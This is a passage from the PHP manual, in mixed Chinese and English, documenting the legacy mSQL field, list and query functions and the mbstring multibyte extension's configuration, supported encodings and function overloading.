string msql_field_flags ( resource result, int field_offset )

msql_field_flags() returns the field flags of the specified field.

参数

result

返回类型为 resource 的结果集。该结果集从 msql_query() 的调用中得到。

field_offset

数字形式的字段偏移量。field_offset 从 1 开始。

返回值

Returns a string containing the field flags of the specified key. This can be: primary key not null, not null, primary key, unique not null or unique.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_fetch_row | 上一级 | msql_field_len


msql_field_len

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

msql_field_len -- Get field length

说明

int msql_field_len ( resource result, int field_offset )

msql_field_len() returns the length of the specified field.

参数

result

返回类型为 resource 的结果集。该结果集从 msql_query() 的调用中得到。

field_offset

数字形式的字段偏移量。field_offset 从 1 开始。

返回值

Returns the length of the specified field or FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_field_flags | 上一级 | msql_field_name


msql_field_name

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

msql_field_name -- Get the name of the specified field in a result

说明

string msql_field_name ( resource result, int field_offset )

msql_field_name() gets the name of the specified field index.

参数

result

返回类型为 resource 的结果集。该结果集从 msql_query() 的调用中得到。

field_offset

数字形式的字段偏移量。field_offset 从 1 开始。

返回值

The name of the field or FALSE on failure.

参见

msql_field_len()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_field_len | 上一级 | msql_field_seek


msql_field_seek

(PHP 3, PHP 4, PHP 5)

msql_field_seek -- Set field offset

说明

bool msql_field_seek ( resource result, int field_offset )

Seeks to the specified field offset. If the next call to msql_fetch_field() won't include a field offset, this field would be returned.

参数

result

返回类型为 resource 的结果集。该结果集从 msql_query() 的调用中得到。

field_offset

数字形式的字段偏移量。field_offset 从 1 开始。

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

msql_fetch_field()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_field_name | 上一级 | msql_field_table


msql_field_table

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

msql_field_table -- Get table name for field

说明

int msql_field_table ( resource result, int field_offset )

Returns the name of the table that the specified field is in.

参数

result

返回类型为 resource 的结果集。该结果集从 msql_query() 的调用中得到。

field_offset

数字形式的字段偏移量。field_offset 从 1 开始。

返回值

The name of the table on success, or FALSE on failure.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_field_seek | 上一级 | msql_field_type


msql_field_type

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

msql_field_type -- Get field type

说明

string msql_field_type ( resource result, int field_offset )

msql_field_type() gets the type of the specified field index.

参数

result

返回类型为 resource 的结果集。该结果集从 msql_query() 的调用中得到。

field_offset

数字形式的字段偏移量。field_offset 从 1 开始。

返回值

The type of the field. One of int, char, real, ident, null or unknown. This functions will return FALSE on failure.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_field_table | 上一级 | msql_fieldflags


msql_fieldflags

(PHP 3, PHP 4, PHP 5)

msql_fieldflags -- Alias of msql_field_flags()

说明

This function is an alias of msql_field_flags().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_field_type | 上一级 | msql_fieldlen


msql_fieldlen

(PHP 3, PHP 4, PHP 5)

msql_fieldlen -- Alias of msql_field_len()

说明

This function is an alias of msql_field_len().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_fieldflags | 上一级 | msql_fieldname


msql_fieldname

(PHP 3, PHP 4, PHP 5)

msql_fieldname -- Alias of msql_field_name()

说明

This function is an alias of msql_field_name().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_fieldlen | 上一级 | msql_fieldtable


msql_fieldtable

(PHP 3, PHP 4, PHP 5)

msql_fieldtable -- Alias of msql_field_table()

说明

This function is an alias of msql_field_table().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_fieldname | 上一级 | msql_fieldtype


msql_fieldtype

(PHP 3, PHP 4, PHP 5)

msql_fieldtype -- Alias of msql_field_type()

说明

This function is an alias of msql_field_type().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_fieldtable | 上一级 | msql_free_result


msql_free_result

(PHP 3, PHP 4, PHP 5)

msql_free_result -- Free result memory

说明

bool msql_free_result ( resource result )

msql_free_result() frees the memory associated with query_identifier. When PHP completes a request, this memory is freed automatically, so you only need to call this function when you want to make sure you don't use too much memory while the script is running.

参数

result

返回类型为 resource 的结果集。该结果集从 msql_query() 的调用中得到。

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_fieldtype | 上一级 | msql_list_dbs


msql_list_dbs

(PHP 3, PHP 4, PHP 5)

msql_list_dbs -- List mSQL databases on server

说明

resource msql_list_dbs ( [resource link_identifier] )

msql_list_tables() lists the databases available on the specified link_identifier.

参数

link_identifier

mSQL 的连接标识符。如果没有指定，默认使用最后被 msql_connect() 打开的连接。如果没有找到该连接，函数会尝试通过调用 msql_connect() 建立连接并使用它。

返回值

Returns a result set which may be traversed with any function that fetches result sets, such as msql_fetch_array(). On failure, this function will return FALSE.

参见

msql_list_tables()
msql_list_fields()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_free_result | 上一级 | msql_list_fields


msql_list_fields

(PHP 3, PHP 4, PHP 5)

msql_list_fields -- List result fields

说明

resource msql_list_fields ( string database, string tablename [, resource link_identifier] )

msql_list_fields() returns information about the given table.

参数

database

The name of the database.

tablename

The name of the table.

link_identifier

mSQL 的连接标识符。如果没有指定，默认使用最后被 msql_connect() 打开的连接。如果没有找到该连接，函数会尝试通过调用 msql_connect() 建立连接并使用它。

返回值

Returns a result set which may be traversed with any function that fetches result sets, such as msql_fetch_array(). On failure, this function will return FALSE.

参见

msql_list_tables()
msql_list_dbs()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_list_dbs | 上一级 | msql_list_tables


msql_list_tables

(PHP 3, PHP 4, PHP 5)

msql_list_tables -- List tables in an mSQL database

说明

resource msql_list_tables ( string database [, resource link_identifier] )

msql_list_tables() lists the tables on the specified database.

参数

database

The name of the database.

link_identifier

mSQL 的连接标识符。如果没有指定，默认使用最后被 msql_connect() 打开的连接。如果没有找到该连接，函数会尝试通过调用 msql_connect() 建立连接并使用它。

返回值

Returns a result set which may be traversed with any function that fetches result sets, such as msql_fetch_array(). On failure, this function will return FALSE.

参见

msql_list_fields()
msql_list_dbs()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_list_fields | 上一级 | msql_num_fields


msql_num_fields

(PHP 3, PHP 4, PHP 5)

msql_num_fields -- Get number of fields in result

说明

int msql_num_fields ( resource result )

msql_num_fields() returns the number of fields in a result set.

参数

result

返回类型为 resource 的结果集。该结果集从 msql_query() 的调用中得到。

返回值

Returns the number of fields in the result set.

参见

msql_query()
msql_fetch_field()
msql_num_rows()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_list_tables | 上一级 | msql_num_rows


msql_num_rows

(PHP 3, PHP 4, PHP 5)

msql_num_rows -- Get number of rows in result

说明

int msql_num_rows ( resource query_identifier )

msql_num_rows() returns the number of rows in a result set.

参数

result

返回类型为 resource 的结果集。该结果集从 msql_query() 的调用中得到。

返回值

Returns the number of rows in the result set.

参见

msql_num_fields()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_num_fields | 上一级 | msql_numfields


msql_numfields

(PHP 3, PHP 4, PHP 5)

msql_numfields -- Alias of msql_num_fields()

说明

This function is an alias of msql_num_fields().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_num_rows | 上一级 | msql_numrows


msql_numrows

(PHP 3, PHP 4, PHP 5)

msql_numrows -- Alias of msql_num_rows()

说明

This function is an alias of msql_num_rows().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_numfields | 上一级 | msql_pconnect


msql_pconnect

(PHP 3, PHP 4, PHP 5)

msql_pconnect -- Open persistent mSQL connection

说明

resource msql_pconnect ( [string hostname] )

msql_pconnect() acts very much like msql_connect() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (msql_close() will not close links established by this function).

参数

hostname

The hostname can also include a port number. e.g. hostname,port.

If not specified, the connection is established by the means of a Unix domain socket, being then more efficient then a localhost TCP socket connection.

注: While this function will accept a colon (:) as a host/port separator, a comma (,) is the preferred method.

返回值

Returns a positive mSQL link identifier on success, or FALSE on error.

参见

msql_connect()
msql_close()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_numrows | 上一级 | msql_query


msql_query

(PHP 3, PHP 4, PHP 5)

msql_query -- Send mSQL query

说明

resource msql_query ( string query [, resource link_identifier] )

msql_query() sends a query to the currently active database on the server that's associated with the specified link identifier.

参数

query

The SQL query.

link_identifier

mSQL 的连接标识符。如果没有指定，默认使用最后被 msql_connect() 打开的连接。如果没有找到该连接，函数会尝试通过调用 msql_connect() 建立连接并使用它。

返回值

Returns a positive mSQL query identifier on success, or FALSE on error.

范例

例子 1. msql_query() example

<?php
$link = msql_connect("dbserver")
   or die("unable to connect to msql server: " . msql_error());
msql_select_db("db", $link)
   or die("unable to select database 'db': " . msql_error());

$result = msql_query("SELECT * FROM table WHERE id=1", $link);
if (!$result) {
   die("query failed: " . msql_error());
}

while ($row = msql_fetch_array($result)) {
    echo $row["id"];
}
?>

参见

msql_db_query()
msql_select_db()
msql_connect()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_pconnect | 上一级 | msql_regcase


msql_regcase

(PHP 3, PHP 4, PHP 5)

msql_regcase -- Alias of sql_regcase()

说明

This function is an alias of sql_regcase().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_query | 上一级 | msql_result


msql_result

(PHP 3, PHP 4, PHP 5)

msql_result -- Get result data

说明

string msql_result ( resource result, int row [, mixed field] )

msql_result() returns the contents of one cell from a mSQL result set.

When working on large result sets, you should consider using one of the functions that fetch an entire row (specified below). As these functions return the contents of multiple cells in one function call, they are often much quicker than msql_result().

Recommended high-performance alternatives:
msql_fetch_row(),
msql_fetch_array(), and
msql_fetch_object().

参数

result

返回类型为 resource 的结果集。该结果集从 msql_query() 的调用中得到。

row

The row offset.

field

Can be the field's offset, or the field's name, or the field's table dot field's name (tablename.fieldname.). If the column name has been aliased ('select foo as bar from ...'), use the alias instead of the column name.

注: Specifying a numeric field offset is much quicker than specifying a fieldname or tablename.fieldname.

返回值

Returns the contents of the cell at the row and offset in the specified mSQL result set.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_regcase | 上一级 | msql_select_db


msql_select_db

(PHP 3, PHP 4, PHP 5)

msql_select_db -- Select mSQL database

说明

bool msql_select_db ( string database_name [, resource link_identifier] )

msql_select_db() sets the current active database on the server that's associated with the specified link_identifier.

Subsequent calls to msql_query() will be made on the active database.

参数

database_name

The database name.

link_identifier

mSQL 的连接标识符。如果没有指定，默认使用最后被 msql_connect() 打开的连接。如果没有找到该连接，函数会尝试通过调用 msql_connect() 建立连接并使用它。

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

msql_connect()
msql_pconnect()
msql_query()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_result | 上一级 | msql_tablename


msql_tablename

(PHP 3, PHP 4, PHP 5)

msql_tablename -- Alias of msql_result()

说明

This function is an alias of msql_result().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_select_db | 上一级 | msql


msql

(PHP 3, PHP 4, PHP 5)

msql -- Alias of msql_db_query()

说明

This function is an alias of msql_db_query().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_tablename | 上一级 | Multibyte String Functions


Multibyte String Functions

PHP 手册
后退 前进

LXXXII. Multibyte String Functions

简介

While there are many languages in which every necessary character can be represented by a one-to-one mapping to a 8-bit value, there are also several languages which require so many characters for written communication that cannot be contained within the range a mere byte can code. Multibyte character encoding schemes were developed to express that many (more than 256) characters in the regular bytewise coding system.

When you manipulate (trim, split, splice, etc.) strings encoded in a multibyte encoding, you need to use special functions since two or more consecutive bytes may represent a single character in such encoding schemes. Otherwise, if you apply a non-multibyte-aware string function to the string, it probably fails to detect the beginning or ending of the multibyte character and ends up with a corrupted garbage string that most likely loses its original meaning.

mbstring provides these multibyte specific string functions that help you deal with multibyte encodings in PHP, which is basically supposed to be used with single byte encodings. In addition to that, mbstring handles character encoding conversion between the possible encoding pairs.

mbstring is also designed to handle Unicode-based encodings such as UTF-8 and UCS-2 and many single-byte encodings for convenience (listed below), whereas mbstring was originally developed for use in Japanese web pages.

PHP Character Encoding Requirements

Encodings of the following types are safely used with PHP.

  • A singlebyte encoding,

    • which has ASCII-compatible (ISO646 compatible) mappings for the characters in range of 00h to 7fh.

  • A multibyte encoding,

    • which has ASCII-compatible mappings for the characters in range of 00h to 7fh.

    • which don't use ISO2022 escape sequences.

    • which don't use a value from 00h to 7fh in any of the compounded bytes that represents a single character.

These are examples of character encodings that are unlikely to work with PHP.

JIS, SJIS, ISO-2022-JP, BIG-5

Although PHP scripts written in any of those encodings might not work, especially in the case where encoded strings appear as identifiers or literals in the script, you can almost avoid using these encodings by setting up the mbstring's transparent encoding filter function for incoming HTTP queries.

注: It's highly discouraged to use SJIS, BIG5, CP936, CP949 and GB18030 for the internal encoding unless you are familiar with the parser, the scanner and the character encoding.

注: If you have some database connected with PHP, it is recommended that you use the same character encoding for both database and the internal encoding for ease of use and better performance.

If you are using PostgreSQL, the character encoding used in the database and the one used in the PHP may differ as it supports automatic character set conversion between the backend and the frontend.

安装

mbstring is a non-default extension. This means it is not enabled by default. You must explicitly enable the module with the configure option. See the Install section for details.

The following configure options are related to the mbstring module.

  • --enable-mbstring=LANG: Enable mbstring functions. This option is required to use mbstring functions.

    As of PHP 4.3.0, mbstring extension provides
enhanced support for Simplified Chinese, Traditional Chinese,
Korean, and Russian in addition to Japanese.
To enable that feature, you will have to supply either one of the
following options to the LANG parameter;
--enable-mbstring=cn for Simplified Chinese support,
--enable-mbstring=tw for Traditional Chinese support,
--enable-mbstring=kr for Korean support,
--enable-mbstring=ru for Russian support, and
--enable-mbstring=ja for Japanese support.

    Also --enable-mbstring=all is convenient for you to enable all the supported languages listed above.

    注: Japanese language support is also enabled by --enable-mbstring without any options for the sake of backwards compatibility.

  • --enable-mbstr-enc-trans : Enable HTTP input character encoding conversion using mbstring conversion engine. If this feature is enabled, HTTP input character encoding may be converted to mbstring.internal_encoding automatically.

    注: As of PHP 4.3.0, the option --enable-mbstr-enc-trans was eliminated and replaced with the runtime setting mbstring.encoding_translation. HTTP input character encoding conversion is enabled when this is set to On (the default is Off).

  • --enable-mbregex: Enable regular expression functions with multibyte character support.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. mbstring configuration options

Name | Default | Changeable | Changelog
mbstring.language | "neutral" | PHP_INI_PERDIR | Available since PHP 4.3.0.
mbstring.detect_order | NULL | PHP_INI_ALL | Available since PHP 4.0.6.
mbstring.http_input | "pass" | PHP_INI_ALL | Available since PHP 4.0.6.
mbstring.http_output | "pass" | PHP_INI_ALL | Available since PHP 4.0.6.
mbstring.internal_encoding | NULL | PHP_INI_ALL | Available since PHP 4.0.6.
mbstring.script_encoding | NULL | PHP_INI_ALL | Available since PHP 4.3.0.
mbstring.substitute_character | NULL | PHP_INI_ALL | Available since PHP 4.0.6.
mbstring.func_overload | "0" | PHP_INI_PERDIR | PHP_INI_SYSTEM in PHP <= 4.2.3. Available since PHP 4.2.0.
mbstring.encoding_translation | "0" | PHP_INI_PERDIR | Available since PHP 4.3.0.
For the definition of the PHP_INI_* constants, please refer to ini_set().

以下是配置选项的简要解释。

mbstring.language string

The default national language setting (NLS) used in mbstring. Note that this option automagically defines mbstring.internal_encoding and mbstring.internal_encoding should be placed after mbstring.language in php.ini

mbstring.encoding_translation boolean

Enables the transparent character encoding filter for the incoming HTTP queries, which performs detection and conversion of the input encoding to the internal character encoding.

mbstring.internal_encoding string

Defines the default internal character encoding.

mbstring.http_input string

Defines the default HTTP input character encoding.

mbstring.http_output string

Defines the default HTTP output character encoding.

mbstring.detect_order string

Defines default character code detection order. See also mb_detect_order().

mbstring.substitute_character string

Defines character to substitute for invalid character encoding.

mbstring.func_overload string

Overloads a set of single byte functions by the mbstring counterparts. See Function overloading for more information.

According to the HTML 4.01 specification, Web browsers are allowed to encode a form being submitted with a character encoding different from the one used for the page. See mb_http_input() to detect character encoding used by browsers.

Although popular browsers are capable of giving a reasonably accurate guess to the character encoding of a given HTML document, it would be better to set the charset parameter in the Content-Type HTTP header to the appropriate value by header() or default_charset ini setting.

例子 1. php.ini setting examples

; Set default language
mbstring.language        = Neutral; Set default language to Neutral(UTF-8) (default)
mbstring.language        = English; Set default language to English
mbstring.language        = Japanese; Set default language to Japanese

;; Set default internal encoding
;; Note: Make sure to use character encoding works with PHP
mbstring.internal_encoding    = UTF-8  ; Set internal encoding to UTF-8

;; HTTP input encoding translation is enabled.
mbstring.encoding_translation = On

;; Set default HTTP input character encoding
;; Note: Script cannot change http_input setting.
mbstring.http_input           = pass    ; No conversion.
mbstring.http_input           = auto    ; Set HTTP input to auto
                                ; "auto" is expanded to "ASCII,JIS,UTF-8,EUC-JP,SJIS"
mbstring.http_input           = SJIS    ; Set HTTP2 input to  SJIS
mbstring.http_input           = UTF-8,SJIS,EUC-JP ; Specify order

;; Set default HTTP output character encoding
mbstring.http_output          = pass    ; No conversion
mbstring.http_output          = UTF-8   ; Set HTTP output encoding to UTF-8

;; Set default character encoding detection order
mbstring.detect_order         = auto    ; Set detect order to auto
mbstring.detect_order         = ASCII,JIS,UTF-8,SJIS,EUC-JP ; Specify order

;; Set default substitute character
mbstring.substitute_character = 12307   ; Specify Unicode value
mbstring.substitute_character = none    ; Do not print character
mbstring.substitute_character = long    ; Long Example: U+3000,JIS+7E7E

例子 2. php.ini setting for EUC-JP users

;; Disable Output Buffering
output_buffering      = Off

;; Set HTTP header charset
default_charset       = EUC-JP

;; Set default language to Japanese
mbstring.language = Japanese

;; HTTP input encoding translation is enabled.
mbstring.encoding_translation = On

;; Set HTTP input encoding conversion to auto
mbstring.http_input   = auto

;; Convert HTTP output to EUC-JP
mbstring.http_output  = EUC-JP

;; Set internal encoding to EUC-JP
mbstring.internal_encoding = EUC-JP

;; Do not print invalid characters
mbstring.substitute_character = none

例子 3. php.ini setting for SJIS users

;; Enable Output Buffering
output_buffering     = On

;; Set mb_output_handler to enable output conversion
output_handler       = mb_output_handler

;; Set HTTP header charset
default_charset      = Shift_JIS

;; Set default language to Japanese
mbstring.language = Japanese

;; Set http input encoding conversion to auto
mbstring.http_input  = auto

;; Convert to SJIS
mbstring.http_output = SJIS

;; Set internal encoding to EUC-JP
mbstring.internal_encoding = EUC-JP

;; Do not print invalid characters
mbstring.substitute_character = none

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

MB_OVERLOAD_MAIL (integer)

MB_OVERLOAD_STRING (integer)

MB_OVERLOAD_REGEX (integer)

HTTP Input and Output

HTTP input/output character encoding conversion may convert binary data also. Users are supposed to control character encoding conversion if binary data is used for HTTP input/output.

注: In PHP 4.3.2 or earlier versions, there was a limitation in this functionality that mbstring does not perform character encoding conversion in POST data if the enctype attribute in the form element is set to multipart/form-data. So you have to convert the incoming data by yourself in this case if necessary.

Beginning with PHP 4.3.3, if enctype for HTML form is set to multipart/form-data and mbstring.encoding_translation is set to On in php.ini the POST'ed variables and the names of uploaded files will be converted to the internal character encoding as well. However, the conversion isn't applied to the query keys.

  • HTTP Input

    There is no way to control HTTP input character conversion from PHP script. To disable HTTP input character conversion, it has to be done in php.ini.

    例子 4. Disable HTTP input conversion in php.ini

    ;; Disable HTTP Input conversion
    mbstring.http_input = pass
    ;; Disable HTTP Input conversion (PHP 4.3.0 or higher)
    mbstring.encoding_translation = Off

    When using PHP as an Apache module, it is possible to override those settings in each Virtual Host directive in httpd.conf or per directory with .htaccess. Refer to the Configuration section and Apache Manual for details.

  • HTTP Output

    There are several ways to enable output character encoding conversion. One is using php.ini, another is using ob_start() with mb_output_handler() as ob_start callback function.

    注: PHP3-i18n users should note that mbstring's output conversion differs from PHP3-i18n. Character encoding is converted using output buffer.

例子 5. php.ini setting example

;; Enable output character encoding conversion for all PHP pages

;; Enable Output Buffering
output_buffering    = On

;; Set mb_output_handler to enable output conversion
output_handler      = mb_output_handler

例子 6. Script example

<?php

// Enable output character encoding conversion only for this page

// Set HTTP output character encoding to SJIS
mb_http_output('SJIS');

// Start buffering and specify "mb_output_handler" as
// callback function
ob_start('mb_output_handler');

?>

Supported Character Encodings

Currently the following character encodings are supported by the mbstring module. Any of those Character encodings can be specified in the encoding parameter of mbstring functions.

The following character encoding is supported in this PHP extension:

  • UCS-4

  • UCS-4BE

  • UCS-4LE

  • UCS-2

  • UCS-2BE

  • UCS-2LE

  • UTF-32

  • UTF-32BE

  • UTF-32LE

  • UTF-16

  • UTF-16BE

  • UTF-16LE

  • UTF-7

  • UTF7-IMAP

  • UTF-8

  • ASCII

  • EUC-JP

  • SJIS

  • eucJP-win

  • SJIS-win

  • ISO-2022-JP

  • JIS

  • ISO-8859-1

  • ISO-8859-2

  • ISO-8859-3

  • ISO-8859-4

  • ISO-8859-5

  • ISO-8859-6

  • ISO-8859-7

  • ISO-8859-8

  • ISO-8859-9

  • ISO-8859-10

  • ISO-8859-13

  • ISO-8859-14

  • ISO-8859-15

  • byte2be

  • byte2le

  • byte4be

  • byte4le

  • BASE64

  • HTML-ENTITIES

  • 7bit

  • 8bit

  • EUC-CN

  • CP936

  • HZ

  • EUC-TW

  • CP950

  • BIG-5

  • EUC-KR

  • UHC (CP949)

  • ISO-2022-KR

  • Windows-1251 (CP1251)

  • Windows-1252 (CP1252)

  • CP866 (IBM866)

  • KOI8-R

php.ini entry, which accepts encoding name, accepts "auto" and "pass" also. mbstring functions, which accepts encoding name, and accepts "auto".

If "pass" is set, no character encoding conversion is performed.

If "auto" is set, it is expanded to the list of encodings defined per the NLS. For instance, if the NLS is set to Japanese, the value is assumed to be "ASCII,JIS,UTF-8,EUC-JP,SJIS".

See also mb_detect_order()

Function Overloading Feature

You might often find it difficult to get an existing PHP application work in a given multibyte environment. That's mostly because lots of PHP applications out there are written with the standard string functions such as substr(), which are known to not properly handle multibyte-encoded strings.

mbstring supports 'function overloading' feature which enables you to add multibyte awareness to such an application without code modification by overloading multibyte counterparts on the standard string functions. For example, mb_substr() is called instead of substr() if function overloading is enabled. This feature makes it easy to port applications that only support single-byte encodings to a multibyte environment in many cases.

To use the function overloading, set mbstring.func_overload in php.ini to a positive value that represents a combination of bitmasks specifying the categories of functions to be overloaded. It should be set to 1 to overload the mail() function. 2 for string functions, 4 for regular expression functions. For example, if is set for 7, mail, strings and regular expression functions should be overloaded. The list of overloaded functions are shown below.

表格 2. Functions to be overloaded

value of mbstring.func_overload | original function | overloaded function
1 | mail() | mb_send_mail()
2 | strlen() | mb_strlen()
2 | strpos() | mb_strpos()
2 | strrpos() | mb_strrpos()
2 | substr() | mb_substr()
2 | strtolower() | mb_strtolower()
2 | strtoupper() | mb_strtoupper()
2 | substr_count() | mb_substr_count()
4 | ereg() | mb_ereg()
4 | eregi() | mb_eregi()
4 | ereg_replace() | mb_ereg_replace()
4 | eregi_replace() | mb_eregi_replace()
4 | split() | mb_split()

注: It is not recommended to use the function overloading option in the per-directory context, because it's not confirmed yet to be stable enough in a production environment and may lead to undefined behaviour.

Basics of Japanese multi-byte encodings

It is often said quite hard to figure out how Japanese texts are handled in the computer. This is not only because Japanese characters can only be represented by multibyte encodings, but because different encoding standards are adopted for different purposes / platforms. Moreover, not a few character set standards are used there, which are slightly different from one another. Those facts have often led developers to inevitable mess-up.

To create a working web application that would be put in the Japanese environment, it is important to use the proper character encoding and character set for the task in hand.

  • Storage for a character can be up to six bytes

  • Most of multibyte characters often appear twice as wide as a single-byte character on display. Those characters are called "zen-kaku" in Japanese which means "full width", and the other (narrower) characters are called "han-kaku" - means half width. However the graphical properties of the characters depend on the glyphs of the type faces used to display them or print them out.

  • Some character encodings use shift(escape) sequences defined in ISO2022 to switch the code map of the specific code area (00h to 7fh).

  • ISO-2022-JP should be used in SMTP/NNTP, and headers and entities should be reencoded as per RFC requirements. Although those are not requisites, it's still a good idea because several popular user agents cannot recognize any other encoding methods.

  • Webpages created for mobile phone services such as i-mode, Vodafone live!, or EZweb are supposed to use Shift_JIS.

References

Multibyte character encoding schemes and the related issues are very complicated. There should be too few space to cover in sufficient details. Please refer to the following URLs and other resources for further readings.

  • Unicode materials

    http://www.unicode.org/

  • Japanese/Korean/Chinese character information

    http://examples.oreilly.com/cjkvinfo/doc/cjk.inf

Summaries of supported encodings

Summaries of supported encodings

Name in the IANA character set registry: ISO-10646-UCS-4

Underlying character set: ISO 10646

Description: The Universal Character Set with 31-bit code space, standardized as UCS-4 by ISO/IEC 10646. It is kept synchronized with the latest version of the Unicode code map.

Additional note: If this name is used in the encoding conversion facility, the converter attempts to identify by the preceding BOM (byte order mark)in which endian the subsequent bytes are represented.

Name in the IANA character set registry: ISO-10646-UCS-4

Underlying character set: UCS-4

Description: See above.

Additional note: In contrast to UCS-4, strings are always assumed to be in big endian form.

Name in the IANA character set registry: ISO-10646-UCS-4

Underlying character set: UCS-4

Description: See above.

Additional note: In contrast to UCS-4, strings are always assumed to be in little endian form.

Name in the IANA character set registry: ISO-10646-UCS-2

Underlying character set: UCS-2

Description: The Universal Character Set with 16-bit code space, standardized as UCS-2 by ISO/IEC 10646. It is kept synchronized with the latest version of the unicode code map.

Additional note: If this name is used in the encoding conversion facility, the converter attempts to identify by the preceding BOM (byte order mark)in which endian the subsequent bytes are represented.

Name in the IANA character set registry: ISO-10646-UCS-2

Underlying character set: UCS-2

Description: See above.

Additional note: In contrast to UCS-2, strings are always assumed to be in big endian form.

Name in the IANA character set registry: ISO-10646-UCS-2

Underlying character set: UCS-2

Description: See above.

Additional note: In contrast to UCS-2, strings are always assumed to be in little endian form.

Name in the IANA character set registry: UTF-32

Underlying character set: Unicode

Description: Unicode Transformation Format of 32-bit unit width, whose encoding space refers to the Unicode's codeset standard. This encoding scheme wasn't identical to UCS-4 because the code space of Unicode were limited to a 21-bit value.

Additional note: If this name is used in the encoding conversion facility, the converter attempts to identify by the preceding BOM (byte order mark)in which endian the subsequent bytes are represented.

Name in the IANA character set registry: UTF-32BE

Underlying character set: Unicode

Description: See above

Additional note: In contrast to UTF-32, strings are always assumed to be in big endian form.

Name in the IANA character set registry: UTF-32LE

Underlying character set: Unicode

Description: See above

Additional note: In contrast to UTF-32, strings are always assumed to be in little endian form.

Name in the IANA character set registry: UTF-16

Underlying character set: Unicode

Description: Unicode Transformation Format of 16-bit unit width. It's worth a note that UTF-16 is no longer the same specification as UCS-2 because the surrogate mechanism has been introduced since Unicode 2.0 and UTF-16 now refers to a 21-bit code space.

Additional note: If this name is used in the encoding conversion facility, the converter attempts to identify by the preceding BOM (byte order mark)in which endian the subsequent bytes are represented.

Name in the IANA character set registry: UTF-16BE

Underlying character set: Unicode

Description: See above.

Additional note: In contrast to UTF-16, strings are always assumed to be in big endian form.

Name in the IANA character set registry: UTF-16BE

Underlying character set: Unicode

Description: See above.

Additional note: In contrast to UTF-16, strings are always assumed to be in big endian form.

Name in the IANA character set registry: UTF-8

Underlying character set: Unicode / UCS

Description: Unicode Transformation Format of 8-bit unit width.

Additional note: none

Name in the IANA character set registry: UTF-7

Underlying character set: Unicode

Description: A mail-safe transformation format of Unicode, specified in RFC2152.

Additional note: none

Name in the IANA character set registry: (none)

Underlying character set: Unicode

Description: A variant of UTF-7 which is specialized for use in the IMAP protocol.

Additional note: none

Name in the IANA character set registry: US-ASCII (preferred MIME name) / iso-ir-6 / ANSI_X3.4-1986 / ISO_646.irv:1991 / ASCII / ISO646-US / us / IBM367 / CP367 / csASCII

Underlying character set: ASCII / ISO 646

Description: American Standard Code for Information Interchange is a commonly-used 7-bit encoding. Also standardized as an international standard, ISO 646.

Additional note: (none)

Name in the IANA character set registry: EUC-JP (preferred MIME name) / Extended_UNIX_Code_Packed_Format_for_Japanese / csEUCPkdFmtJapanese

Underlying character set: Compound of US-ASCII / JIS X0201:1997 (hankaku kana part) / JIS X0208:1990 / JIS X0212:1990

Description: As you see the name is derived from an abbreviation of Extended UNIX Code Packed Format for Japanese, this encoding is mostly used on UNIX or alike platforms. The original encoding scheme, Extended UNIX Code, is designed on the basis of ISO 2022.

Additional note: The character set referred to by EUC-JP is different to IBM932 / CP932, which are used by OS/2 and Microsoft Windows. For information interchange with those platforms, use EUCJP-WIN instead.

Name in the IANA character set registry: Shift_JIS (preferred MIME name) / MS_Kanji / csShift_JIS

Underlying character set: Compound of JIS X0201:1997 / JIS X0208:1997

